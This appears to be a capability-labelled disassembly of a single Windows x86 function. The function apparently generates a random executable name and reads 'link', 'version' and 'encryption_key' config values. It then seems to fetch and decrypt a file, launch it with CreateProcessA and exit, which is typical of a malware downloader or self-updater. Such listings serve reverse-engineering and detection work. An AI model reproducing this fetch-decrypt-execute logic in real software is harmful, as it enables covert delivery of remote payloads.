Function at 0x4089d0
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
mov eax, dword [0x42e6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x13f]
push 0
push eax
mov byte [ebp - 0x249], dl
mov dword [ebp - 0x258], ecx
mov byte [ebp - 0x140], 0
call fcn.0040fde0
mov al, byte [0x429c78]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [ebp - 0x1c], al
xor eax, eax
push 0x40
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
call fcn.0040a52f
add esp, 4
mov edi, eax
push 0x40
mov dword [ebp - 0x254], edi
call fcn.0040a52f
add esp, 4
xorps xmm0, xmm0
push str.qwertyuiopasdfghjklzxcvbnm01234567890
push 0x40
push edi
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x14], 0
movq qword [ebp - 0x13], xmm0
mov dword [ebp - 0xb], 0
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
xor esi, esi
mov byte [ebp - 0x250], 0
call fcn.0040b139
add esp, 0xc
lea eax, [ebp - 0x140]
push 0x4316c0
push 0x104
push eax
call fcn.0040b139
add esp, 0xc
lea eax, [ebp - 0x140]
push 0x429924
push 0x104
push eax
call fcn.0040b18e
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
mov dword [ebp - 0x260], esi
jmp 0x408ad6
mov edi, dword [ebp - 0x254]
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040ce38
add esp, 4
call fcn.0040ce15
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x264], eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408b06
sub ecx, edx
inc ecx
cmp ecx, 0x104
jae 0x408d9e
mov byte [ebp + ecx - 0x140], al
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408b28
lea edi, [ebp - 0x140]
sub ecx, edx
lea edx, [edi + 1]
lea ebx, [ebx]
mov al, byte [edi]
inc edi
test al, al
jne 0x408b40
mov eax, dword [ebp - 0x264]
sub edi, edx
xor edx, edx
div ecx
mov ecx, dword [ebp - 0x254]
mov al, byte [edx + ecx]
mov byte [ebp + edi - 0x140], al
call fcn.0040ce15
cdq
mov ecx, 0x32
idiv ecx
push edx
call ebx
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp eax, 5
jl 0x408ad0
push str..exe
lea eax, [ebp - 0x140]
push 0x104
push eax
call fcn.0040b18e
add esp, 0xc
push dword [ebp - 0x254]
call fcn.0040b1f1
lea edx, [ebp - 0x24]
add esp, 4
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x408bb6
lea eax, [ebp - 0x14]
sub edx, ecx
push 0x10
push eax
lea ecx, [ebp - 0x24]
call fcn.00405760
mov al, byte [ebp - 0x249]
add esp, 8
test al, al
jne 0x408be3
mov byte [ebp - 0x250], 1
jmp 0x408c38
cmp al, 1
jne 0x408c38
mov ecx, dword [ebp - 0x258]
lea eax, [ebp - 0x34]
push 0x10
push eax
mov edx, str.version
call fcn.004068a0
add esp, 8
test al, al
je 0x408c38
push 0x42fbac
call fcn.0040cdf8
mov edi, eax
add esp, 4
lea eax, [ebp - 0x34]
push eax
call fcn.0040cdf8
mov ecx, dword [ebp - 0x250]
movzx ecx, cl
add esp, 4
mov edx, 1
cmp eax, edi
cmovne ecx, edx
mov dword [ebp - 0x250], ecx
mov ecx, dword [ebp - 0x258]
lea eax, [ebp - 0x248]
push 0x104
push eax
mov edx, str.link
call fcn.004068a0
mov edi, dword [ebp - 0x25c]
add esp, 8
test al, al
je 0x408d78
mov ecx, dword [ebp - 0x258]
push 0x40
push edi
mov edx, str.encryption_key
call fcn.004068a0
add esp, 8
test al, al
je 0x408d78
cmp byte [ebp - 0x250], 0
je 0x408d78
lea edx, [ebp - 0x140]
lea ecx, [ebp - 0x248]
call fcn.00407190
test al, al
jne 0x408cd0
lea eax, [esi + 1]
add esi, 2
cmp eax, 0xa
jge 0x408d99
push 0x927c0
call ebx
lea edx, [ebp - 0x140]
lea ecx, [ebp - 0x248]
call fcn.00407190
test al, al
je 0x408ca5
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x140]
call fcn.004099d0
add esp, 4
test eax, eax
jne 0x408d92
cmp byte [edi], al
je 0x408cfb
mov edx, edi
lea ecx, [ebp - 0x140]
call fcn.00405840
lea ecx, [ebp - 0x140]
call fcn.00408ef0
test al, al
jne 0x408d16
push 0x927c0
call ebx
jmp 0x408c90
push 0x40
lea eax, [ebp - 0x2b4]
push 0
push eax
mov dword [ebp - 0x2b8], 0x44
call fcn.0040fde0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x288], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2b8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x140]
push eax
push 0
mov dword [ebp - 0x28c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x408d78
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call fcn.0040b1f1
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0040b0df
mov esp, ebp
pop ebp
ret
push 0x927c0
call ebx
call fcn.00408930
call fcn.0040d080
int3